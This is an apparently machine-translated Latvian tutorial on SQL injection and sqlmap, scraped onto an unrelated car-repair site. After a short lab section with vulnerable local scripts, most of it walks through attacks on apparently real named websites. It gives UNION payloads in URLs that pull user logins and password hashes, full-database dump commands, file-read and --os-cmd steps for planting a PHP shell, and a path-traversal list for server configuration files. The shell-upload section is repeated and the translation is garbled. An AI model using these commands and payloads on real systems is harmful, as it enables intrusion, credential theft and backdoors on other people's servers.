Ielādējiet čaulu ar SQLmap. Apvalka ielāde ar SQLmap Informācijas izguve no datu bāzēm

Ielādējiet čaulu ar SQLmap. Apvalka ielāde ar SQLmap Informācijas izguve no datu bāzēm

28.07.2023

Sveicināts, lasītāj. Pēdējā laikā mani interesē Web drošība, un zināmā mērā mans darbs ir saistīts ar to. Jo Arvien biežāk dažādos forumos sāku pamanīt tēmas, kas lūdz parādīt, kā tas viss darbojas, tāpēc nolēmu uzrakstīt rakstu. Raksts būs domāts tiem, kas ar to nav saskārušies, bet vēlētos mācīties. Internetā ir salīdzinoši daudz rakstu par šo tēmu, taču iesācējiem tie ir nedaudz sarežģīti. Es centīšos visu aprakstīt skaidrā valodā un detalizētos piemēros.

Priekšvārds

Lai saprastu šo rakstu, jums nav vajadzīgas SQL valodas zināšanas, bet vismaz laba pacietība un nedaudz prāta iegaumēšanai.

Uzskatu, ka ar raksta izlasīšanu vien nepietiks, jo... mums ir vajadzīgi dzīvi piemēri - kā zināms, prakse iegaumēšanas procesā nekad nav lieka. Tāpēc mēs rakstīsim neaizsargātus skriptus un apmācīsim tos.

Kas ir SQL injekcija?
Vienkāršāk sakot, tas ir uzbrukums datu bāzei, kas ļaus veikt kādu darbību, ko skripta veidotājs nebija plānojis. Piemērs no dzīves:

Tēvs zīmītē mātei rakstīja, lai viņš iedod Vasjai 100 rubļus un noliek uz galda. Pārstrādājot to komiskā SQL valodā, mēs iegūstam:
PAŅEM NO SAVA MAKA 100 RUBĻUS UN NODODIET tos Vasjai

Tā kā tēvs zīmīti uzrakstīja slikti (neveikls rokraksts) un atstāja to uz galda, Vasjas brālis Petja to redzēja. Petja, būdama hakere, tur pievienoja “OR Pete”, un rezultāts bija šāds pieprasījums:
ŅEMT NO SAVA MAKA 100 RUBĻUS UN NODODIET tos Vasjai VAI Petjai

Mamma, izlasījusi zīmīti, nolēma, ka vakar iedeva Vasjai naudu un iedeva Petjai 100 rubļus. Šeit ir vienkāršs SQL injekcijas piemērs no dzīves:) Nefiltrējot datus (mamma knapi saprata rokrakstu), Petja guva peļņu.

Sagatavošana
Praksei jums būs nepieciešams arhīvs ar šī raksta avota skriptiem. Lejupielādējiet to un izpakojiet to serverī. Importējiet arī datu bāzi un iestatiet datus failā cfg.php

Meklēt SQL injekciju

Kā jūs jau sapratāt, injekcija tiek veikta no ienākošajiem datiem, kas nav filtrēti. Visizplatītākā kļūda ir nosūtītā ID nefiltrēšana. Nu, rupji runājot, liek citātus visos laukos. Vai tas būtu GET/POST pieprasījums vai pat sīkfails!

Ciparu ievades parametrs
Praksei mums ir nepieciešams skripts indekss1.php. Kā jau teicu iepriekš, mēs ievietojam citātus ziņu ID.

Jo Mūsu pieprasījumam nav filtrēšanas:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Skripts to sapratīs kā

SELECT * FROM news WHERE id=1"

Un tas mums parādīs kļūdu:
Brīdinājums: mysql_fetch_array() paredz, ka 1. parametrs ir resurss, Būla vērtība ir norādīta failā C:\WebServ\domains\sqlinj\index1.php 16. rindā.

Ja kļūda neparādās, var būt šādi iemesli:

1. SQL injekcijas šeit nav — pēdiņas tiek filtrētas, vai arī ir vērts to konvertēt (int)
2. Kļūdas izvade ir atspējota.

Ja joprojām saņemat kļūdu - Urā! Mēs atradām pirmo SQL injekcijas veidu - Ciparu ievades parametru.

Virknes ievades parametrs

Pieprasījumus nosūtīsim uz index2.php. Šajā failā pieprasījums izskatās šādi:
$lietotājs = $_GET["lietotājs"]; $query = "SELECT * FROM news WHERE user="$user"";

Šeit mēs atlasām ziņas pēc lietotājvārda, un atkal mēs nefiltrējam.
Atkal nosūtām pieprasījumu ar citātu:

Tas radīja kļūdu. LABI! Tas nozīmē, ka pastāv ievainojamība. Iesākumam mums ar to pietiek – ķersimies pie prakses.

Rīkosimies

Nedaudz teorijas

Jūs, iespējams, nevarat sagaidīt, kad varēsit no tā iegūt kaut ko citu, izņemot kļūdas. Vispirms saprotiet, ka zīme " -- " tiek uzskatīts par komentāru SQL.

UZMANĪBU! Pirms un pēc tā ir jābūt atstarpēm. Vietrādī URL tie tiek pārsūtīti kā %20

Viss, kas nāk pēc komentāra, tiks atmests. Tas ir, pieprasījums:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Tas izdosies. Varat to izmēģināt ar index2.php skriptu, nosūtot šādu pieprasījumu:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Uzziniet parametru SAVIENĪBA. SQL valodā atslēgvārds SAVIENĪBA izmanto, lai apvienotu divu SQL vaicājumu rezultātus vienā tabulā. Tas ir, lai no cita galda izvilktu kaut ko mums nepieciešamo.

Izmantosim to

Ja parametrs ir “Cipars”, mums nav jānosūta citāts pieprasījumā un, protams, beigās jāliek komentārs. Atgriezīsimies pie skripta indekss1.php.

Pievērsīsimies skriptam sqlinj/index1.php?id=1 UNION SELECT 1 . Mūsu datu bāzes vaicājums izskatās šādi:
SELECT * FROM news WHERE id=1 SAVIENĪBA IZVĒLĒTIES 1
Un viņš mums pieļāva kļūdu, jo... lai strādātu ar apvienošanas vaicājumiem, mums ir nepieciešams vienāds lauku skaits.

Jo Mēs nevaram ietekmēt to skaitu pirmajā pieprasījumā, tad mums ir jāatlasa to skaits otrajā, lai tas būtu vienāds ar pirmo.

Lauku skaita izvēle

Lauku atlase ir ļoti vienkārša, vienkārši nosūtiet šādus pieprasījumus:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Kļūda…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Atkal kļūda!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nav kļūdu! Tas nozīmē, ka kolonnu skaits ir 5.

GROUP BY
Bieži gadās, ka lauki var būt 20 vai 40 vai pat 60. Lai mums nebūtu katru reizi tie jāšķiro, mēs izmantojam GROUP BY

Ja pieprasījums
sqlinj/index1.php?id=1 GROUP BY 2
neuzrādīja nekādas kļūdas, kas nozīmē, ka lauku skaits ir lielāks par 2. Mēģināsim:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, mēs redzam kļūdu, tas nozīmē, ka lauku skaits ir mazāks par 8.

Ja nav kļūdu ar GROUP BY 4 un ar GROUP BY 6 ir kļūda, tad lauku skaits ir 5

Izvades kolonnu definēšana
Lai nodrošinātu, ka mums nekas netiek parādīts no pirmā pieprasījuma, pietiek ar neesošu ID aizvietošanu, piemēram:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Ar šo darbību mēs noteicām, kuras kolonnas tiek rādītas lapā. Tagad, lai aizstātu šos numurus ar nepieciešamo informāciju, jums ir jāturpina pieprasījums.

Datu izvade

Pieņemsim, ka mēs zinām, ka tabula joprojām pastāv lietotājiem kurā lauki pastāv id, nosaukums Un caurlaide.
Mums jāiegūst informācija par lietotāju ar ID=1

Tāpēc izveidosim šādu vaicājumu:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 NO lietotājiem WHERE id=1
Skripts arī turpina izvadīt

Lai to izdarītu, skaitļu 1 un 3 vietā mēs aizstāsim lauku nosaukumus

Sqlinj/index1.php?id=-1 UNION SELECT nosaukums,2,pass,4,5 NO lietotājiem WHERE id=1
Mēs saņēmām to, ko mums vajadzēja!

Attiecībā uz "virknes ievades parametru" kā skriptā index2.php sākumā jāliek pēdiņas un beigās komentāra zīme. Piemērs:
sqlinj/index2.php?user=-1" UNION SELECT nosaukums,2,pass,4,5 NO lietotājiem WHERE id=1 --%20

Lasīt/rakstīt failus

Lai lasītu un rakstītu failus, datu bāzes lietotājam ir jābūt FILE_PRIV tiesībām.
Failu ierakstīšana
Patiesībā viss ir ļoti vienkārši. Lai rakstītu failu, mēs izmantosim funkciju OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 OUTFILE "1.php" --%20
Lieliski, fails ir reģistrēts pie mums. Tādējādi mēs varam aizpildīt mini apvalku:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 OUTFILE "1.php" --%20
Failu lasīšana
Failu lasīšana ir pat vienkāršāka nekā rakstīšana. Pietiek vienkārši izmantot funkciju LOAD_FILE, mūsu atlasītā lauka vietai:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 -%20

Tādējādi mēs esam izlasījuši iepriekšējo rakstīto failu.

Aizsardzības metodes

Aizsargāt sevi ir pat vieglāk nekā izmantot ievainojamību. Vienkārši filtrējiet datus. Ja nododat ciparus, izmantojiet
$id = (int) $_GET["id"];
Kā ieteica lietotājs malroc. Aizsargājiet sevi, izmantojot ACVN vai sagatavotus paziņojumus.

Tā vietā, lai pabeigtu

Šeit es vēlos pabeigt savu pirmo daļu par "SQL injekciju iesācējiem". Otrajā apskatīsim smagākus injekciju piemērus. Mēģiniet pats rakstīt neaizsargātus skriptus un izpildīt vaicājumus.
Un atcerieties, neuzticieties nevienam savas vietnes lietotājam.

Spoileris: .ZEN

Vietnē ir SQL injekcija, kas izskatās šādi:

Pirmā lieta, ko vēlamies darīt, ir pārbaudīt, vai mums ir tiesības rakstīt failus uz uzbrukuma resursiem; lai to izdarītu, ielādējiet termināli un izdodiet šādu komandu:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Mēs nospiežam taustiņu Enter un sākas mūsu SQL injekcijas analīze, ziņojums izskatās šādi:

Kā redzat pārskatā, ir uzrakstīta Apache versija, MySQL versija un serverī instalētās OS versija, tas viss mums noderēs nākotnē, bet pats galvenais, jūs varat redzēt, ka mums ir tiesības rakstīt failus, tas tiek parādīts rindā Pašreizējais lietotājs ir DBA: True

Nākamais solis mums ir iegūt ceļus mūsu čaulas ierakstīšanai. Mēs varam iegūt ceļu uz mūsu vietni serverī, lejupielādējot failu httpd.conf. Mēs iegūstam informāciju par faila httpd.conf atrašanās vietu, izmantojot Google; varat meklēt pēc instalētās OS versijas vai visticamāko ceļu saraksta. Kopumā es neiedziļināšos meklētājprogrammās, tikai tad, kad esat noskaidrojis visticamāko faila ceļa atrašanās vietu, ir pienācis laiks lejupielādēt šo pašu failu savā diskā, lai to izdarītu, ievadiet šo komandu un pieprasījumu nolasīt failu serverī:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Nekavējoties atzīmēsim, ka šo konfigurācijas failu ne vienmēr ir iespējams atrast pirmo reizi, tāpēc varat izmantot visticamākos ceļus, kur šis fails var atrasties:

IESPĒJAMO CEĻU SARAKSTS UZ KONFIGŪRAS FAILU:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Mēs saņemam ziņojumu no sqlmap šādā formā:

Kā redzat, sqlmap mums teica, ka fails ir tāda paša izmēra kā fails serverī, tāpēc mums ir tiesības lasīt šo failu. Ja nav pietiekami daudz tiesību, lai lasītu šo failu, tiks parādīts kļūdas ziņojums, ka mūsu datorā saglabātajam failam ir atšķirīgs izmērs nekā serverī esošajam failam vai serverī mūsu norādītajā ceļā nav faila un nekad nav. bijis. Sqlmap saglabāja mūsu failu atskaites failos, un, lai to izlasītu, mums ir jāpalaiž logu pārvaldnieks. Lai palaistu logu pārvaldnieku, atveram citu termināļa logu un ievadām komandu:

Tālāk atvērtajā pārvaldniekā mēs sekojam ceļam, kur sqlmap pievienoja failu, t.i.:
/root/.sqlmap/output/sacoor.com
Pēc tam virziet kursoru virs faila, nospiediet tastatūras taustiņu F3 un izlasiet Apache konfigurācijas failu:

No mūsu konfigurācijas faila mēs redzam, ka mūsu vietne atrodas serverī šādā ceļā:
/home/sbshop/site/

Tagad, kad mums ir maz informācijas, mēs varam mēģināt aizpildīt čaulu, lai to izdarītu, ievadiet šādu komandu:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

Pēc komandas ievadīšanas sqlmap jautās, kāda veida pildvielu vēlamies izmantot, jo... mūsu gadījumā vietne ir PHP, tad mēs augšupielādēsim PHP ielādētāju, atlasiet vienumu 4 un nospiediet taustiņu Enter. Pēc tam sqlmap lūgs mums izvēlēties, kur augšupielādēsim mūsu ielādētāju, un kopš... Mēs jau zinām ceļu uz mūsu vietni serverī, pēc tam atlasiet vienumu 2, nospiediet taustiņu Enter un norādiet ceļu uz vietni:
/home/sbshop/site/

Pēc tam nospiediet taustiņu Enter un skatiet šādu pārskatu:

Šajā gadījumā sqlmap norāda, ka mums nav tiesību rakstīt šajā mapē. Nav problēmu, šo problēmu ir diezgan viegli atrisināt. Mēs dodam komandu palaist uniscan un pārbaudīt failu un mapju rakstāmību, šeit ir komanda.

Kas ir sqlmap un kam tas paredzēts?

Programma ļauj pārbaudīt vietnēs SQL injekcijas ievainojamības, XSS ievainojamības, kā arī izmantot SQL injekcijas. Tiek atbalstīti dažāda veida SQL injekcijas un dažādas datu bāzes.

Ko jūs varat darīt ar sqlmap

Izmantojot sqlmap, jūs varat:

  • pārbaudiet, vai vietnēs ir ievainojamības

Ja vietne ir neaizsargāta pret SQL injekciju, tas ir iespējams:

  • saņemt informāciju no datu bāzes, tostarp izmest (visu) datubāzi
  • mainīt un dzēst informāciju no datu bāzes
  • augšupielādējiet čaulu (backdoor) tīmekļa serverī

Viens no sqlmap izmantošanas scenārijiem:

  • Lietotājvārda un paroles iegūšana no datu bāzes
  • Vietņu administrēšanas paneļu meklēšana (admin panelis)
  • Piesakieties administratora panelī ar saņemto pieteikumvārdu un paroli

Ja ir ievainojamība, uzbrukums var attīstīties dažādos virzienos:

  • Datu modifikācija
  • Aizmugures durvju aizpildīšana
  • JavaScript koda ievadīšana, lai iegūtu lietotāja datus
  • Īstenošanas kods, lai piesaistītu liellopu gaļu

Kā redzam, SQL injekcija ir ļoti bīstama ievainojamība, kas sniedz uzbrucējam lieliskas iespējas.

Vietņu pārbaude, izmantojot sqlmap

Ja vietne saņem datus no lietotāja, izmantojot GET metodi (kad pārlūkprogrammas adreses joslā ir redzams gan mainīgā nosaukums, gan pārsūtītie dati), tad jums ir jāizvēlas tās lapas adrese, kurā atrodas šis mainīgais. klāt. Tas nāk aiz jautājuma zīmes ( ? ), Piemēram:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

Pirmajā adresē mainīgā nosaukums ir id, un nodotā ​​vērtība ir 8 . Otrajā adresē ir arī mainīgā nosaukums id, un pārraidītā vērtība 22 . Trešajā piemērā mainīgā nosaukums ir tāds pats, bet nodotā ​​vērtība ir tāda pati p_36. Tas pats mainīgā nosaukums ir nejauša atbilstība dažādām vietnēm, tas var būt jebkas, pārsūtītie dati var būt jebkas, var būt vairāki mainīgie ar vērtībām, kas atdalītas ar simbolu & .

Ja vēlamies pārbaudīt, vai id mainīgais ir neaizsargāts pret SQL injekciju, tad jāievada visa adrese - http://www.dwib.org/faq2.php?id=8 (nevis http://www.dwib .org /faq2.php vai http://www.dwib.org).

Komanda, lai pārbaudītu mainīgo, ko nodod GET metode, ir ļoti vienkārša:

Sqlmap -u vietnes_adrese

Šīm vietnēm komandas būs šādas:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Verifikācijas procesa laikā sqlmap var uzdot dažādus jautājumus, un jums uz tiem ir jāatbild y(t.i., jā) vai n(t.i., nē). Burts y un n var būt liels vai mazs. Lielais burts nozīmē noklusējuma izvēli, ja piekrītat tai, tad vienkārši nospiediet taustiņu Enter.

Situāciju un jautājumu piemēri:

Heiristika atklāja, ka mērķi aizsargā kāda veida WAF/IPS/IDS. Vai vēlaties, lai sqlmap mēģinātu noteikt aizmugursistēmas WAF/IPS/IDS?

Heiristika noteica, ka mērķis ir aizsargāts ar sava veida WAF/IPS/IDS. Vai vēlaties, lai sqlmap mēģinātu noteikt WAF/IPS/IDS nosaukumu?

Mans mīļākais pieprasījums:

Heiristiskais (pamata) tests parāda, ka GET parametrs "id" varētu būt injicējams (iespējams DBVS: "MySQL"), pārbaudot SQL injekciju GET parametrā "id", izskatās, ka aizmugures DBVS ir "MySQL". Vai vēlaties izlaist pārbaudes lietderīgās slodzes, kas raksturīgas citām DBVS?

Lieta ir tāda, ka heiristika ir noteikusi, ka parametrs var būt neaizsargāts un attālā DBVS jau ir identificēta, mums tiek jautāts, vai mēs vēlamies turpināt pārbaudi. Un otrajā ekrānuzņēmumā vietne ir arī neaizsargāta pret XSS.

Ja vēlaties automatizēt procesu, lai sqlmap nejautātu katru reizi, bet izmantotu noklusējuma atlasi (vienmēr ir labākas iespējas), tad varat palaist komandu ar opciju --partija:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Iespējamās problēmas skenējot sqlmap

Var parādīties šādas kļūdas:

Savienojumam ar mērķa URL iestājās noildze. Ja problēma joprojām pastāv, sqlmap mēģinās atkārtoti izpildīt pieprasījumu(-us), lūdzu, pārbaudiet, vai norādītais mērķa URL ir derīgs. Ja tā ir, varat mēģināt palaist atkārtoti, kad ir ieslēgts slēdzis "--random-agent" un/vai starpniekservera slēdži ("--ignore-proxy", "--proxy",...)

Tas nozīmē, ka vietne nevēlas “runāt” ar sqlmap. Kā opciju mums tiek piedāvāts izmantot -- izlases līdzeklis. Ja vietni var skatīties pārlūkprogrammā, bet sqlmap raksta par savienojuma neiespējamību, tad vietne ignorē pieprasījumus, koncentrējoties uz lietotāja aģentu. Opcija --random-agent maina standarta sqlmap vērtību uz nejaušu:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Vēl viens šīs kļūdas iemesls varētu būt tas, ka vietne ir bloķējusi jūsu IP — tad jums ir jāizmanto starpniekserveris. Ja jūs jau izmantojat starpniekserveri un tiek parādīta šī kļūda, tas var nozīmēt, ka starpniekserverim ir komunikācijas problēmas, un jums vajadzētu mēģināt bez tā.

sqlmap skenēšanas rezultāti

Konstatētās SQL injekcijas tiek parādītas šādi:

Tie. ir izcelti treknā zaļā krāsā, ir rakstīts ievainojamā parametra nosaukums, SQL ievainojamības veids un ir vārds injicējams.

Datu bāzu saraksta iegūšana, izmantojot sqlmap

Lai iegūtu datu bāzu sarakstu, izmantojiet opciju --dbs. Piemēri:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Informācijas izguve no datu bāzēm

Piemēram, vietnei wellerpools.com tika atrastas divas datu bāzes:

[*] information_schema [*] main_wellerpools

Es vēlos uzzināt main_wellerpools datubāzes tabulu sarakstu. Lai to izdarītu, izmantojiet opciju -- tabulas. Papildus tam mums ir jānorāda tabula, kas mūs interesē pēc opcijas -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Tabulu saraksts:

Kādu iemeslu dēļ es vēlos uzzināt lietotāju tabulas kolonnu sarakstu. Lai to izdarītu, izmantojiet opciju -- kolonnas. Papildus tam mums jānorāda datubāze, kas mūs interesē ( -D main_wellerpools) un pēc atslēgas -T tabula, kurai mēs vēlamies redzēt kolonnu sarakstu:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T lietotāji --columns

Lai parādītu saturu, izmantojiet opciju -- izgāztuve. To var norādīt kopā ar datu bāzi, un pēc tam tiks veikta visas datu bāzes izgāztuve, vai arī varat ierobežot datus ar vienu tabulu vai pat vienu kolonnu. Ar šādu komandu es vēlos redzēt visas lietotāju tabulas saturu:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T lietotāji --dump

Apskatiet paroles — pēc ātras pārbaudes man šķita, ka tās ir jauktas. Admini tiešām mēģināja sevi aizstāvēt, bet tas viņiem nepalīdzēja.

Starp citu, tā kā parametrs, kas pieņem ar GET metodi nosūtītos datus, ir neaizsargāts, varat izveidot pieprasījumu tieši pārlūkprogrammas rindā tā, lai lietotāja pieteikumvārds un parole tiktu parādīti tieši pašā vietnē:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(lietotāja_vārds,0x3a,lietotāja_pwd),3,4,5,6,7,8,9, 10+no+lietotājiem--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(lietotāja_id,0x3e,lietotāja_vārds,0x3e,lietotāja_pwd),3,4,5,6,7, 8,9,10+no+lietotājiem--

Tie. Mums ir vietnes lietotāju (un, visticamāk, pat administratoru) lietotājvārds, parole un e-pasts. Ja varat atrast vietnes administratīvo paneli, varat iegūt kontroli pār vietni vai tīmekļa serveri. Ņemot vērā lietotāju mīlestību pret vienādām parolēm un zinot viņu pastkastes, varat mēģināt uzlauzt viņu pastu.

Kopumā SQL injekcija ir ļoti bīstama ievainojamība.

Nu par tēmu:

Spoileris: aizpildiet apvalku

Vietnē ir SQL injekcija, kas izskatās šādi:

Lai redzētu saites, jums ir jābūt reģistrētam.


Pirmā lieta, ko vēlamies darīt, ir pārbaudīt, vai mums ir tiesības rakstīt failus uz uzbrukuma resursiem; lai to izdarītu, ielādējiet termināli un izdodiet šādu komandu:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Klikšķis Ievadiet un sākas mūsu SQL injekcijas analīze, ziņojums izskatās šādi:

Kā redzat pārskatā, ir uzrakstīta Apache versija, MySQL versija un serverī instalētās OS versija, tas viss mums noderēs nākotnē, bet pats galvenais, jūs varat redzēt, ka mums ir tiesības rakstīt failus, tas tiek parādīts rindā Pašreizējais lietotājs ir DBA: True

Nākamais solis mums ir iegūt ceļus mūsu čaulas ierakstīšanai. Mēs varam iegūt ceļu uz mūsu vietni serverī, lejupielādējot failu httpd.conf. Mēs iegūstam informāciju par faila httpd.conf atrašanās vietu, izmantojot Google; varat meklēt pēc instalētās OS versijas vai visticamāko ceļu saraksta. Kopumā es neiedziļināšos meklētājprogrammās, tikai tad, kad esat noskaidrojis visticamāko faila ceļa atrašanās vietu, ir pienācis laiks lejupielādēt šo pašu failu savā diskā, lai to izdarītu, ievadiet šo komandu un pieprasījumu nolasīt failu serverī:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Nekavējoties atzīmēsim, ka šo konfigurācijas failu ne vienmēr ir iespējams atrast pirmo reizi, tāpēc varat izmantot visticamākos ceļus, kur šis fails var atrasties:

IESPĒJAMO CEĻU SARAKSTS UZ KONFIGŪRAS FAILU:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Mēs saņemam ziņojumu no sqlmap šādā formā:


Kā redzat, sqlmap mums teica, ka fails ir tāda paša izmēra kā fails serverī, tāpēc mums ir tiesības lasīt šo failu. Ja nav pietiekami daudz tiesību, lai lasītu šo failu, tiks parādīts kļūdas ziņojums, ka mūsu datorā saglabātajam failam ir atšķirīgs izmērs nekā serverī esošajam failam vai serverī mūsu norādītajā ceļā nav faila un nekad nav. bijis. Sqlmap saglabāja mūsu failu atskaites failos, un, lai to izlasītu, mums ir jāpalaiž logu pārvaldnieks. Lai palaistu logu pārvaldnieku, atveram citu termināļa logu un ievadām komandu:

Tālāk atvērtajā pārvaldniekā mēs sekojam ceļam, kur sqlmap pievienoja failu, t.i.:
/root/.sqlmap/output/sacoor.com
Pēc tam virziet kursoru virs faila un nospiediet pogu F3 uz tastatūras un izlasiet Apache konfigurācijas failu:


No mūsu konfigurācijas faila mēs redzam, ka mūsu vietne atrodas serverī šādā ceļā:
/home/sbshop/site/

Tagad, kad mums ir maz informācijas, mēs varam mēģināt aizpildīt čaulu, lai to izdarītu, ievadiet šādu komandu:

Pēc komandas ievadīšanas sqlmap jautās, kāda veida pildvielu vēlamies izmantot, jo... mūsu gadījumā vietne ir PHP, tad mēs augšupielādēsim PHP ielādētājs, atlasiet 4. punkts un nospiediet taustiņu Enter. Pēc tam sqlmap lūgs mums izvēlēties, kur augšupielādēsim mūsu ielādētāju, un kopš... mēs jau zinām ceļu uz mūsu vietni serverī, pēc tam atlasiet 2. punkts, nospiediet Ievadiet un norādiet ceļu uz vietni:
/home/sbshop/site/

Un pēc tam mēs nospiežam Ievadiet un mēs redzam šādu ziņojumu:


Šajā gadījumā sqlmap norāda, ka mums nav tiesību rakstīt šajā mapē. Nav problēmu, šo problēmu ir diezgan viegli atrisināt. Mēs dodam komandu palaist uniscan un pārbaudīt failu un mapju rakstāmību, šeit ir komanda:

Uniscan -u http://www.sacoor.com/ -qwe

Tagad skeneris pārbaudīs visus ierakstāmos direktorijus:


Skeneris atrada trīs direktorijus ar iespēju rakstīt failus, tāpēc mēs cenšamies vēlreiz ielādēt mūsu čaulas ielādētāju, bet šoreiz citādā veidā. Palaidiet komandu vēlreiz:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

un izvēloties 4. punkts(aizpildot PHP skriptu), norādiet ceļu:
/home/sbshop/site/admin

Mēs redzam sekojošo.



© 2023 globusks.ru - Automašīnu remonts un apkope iesācējiem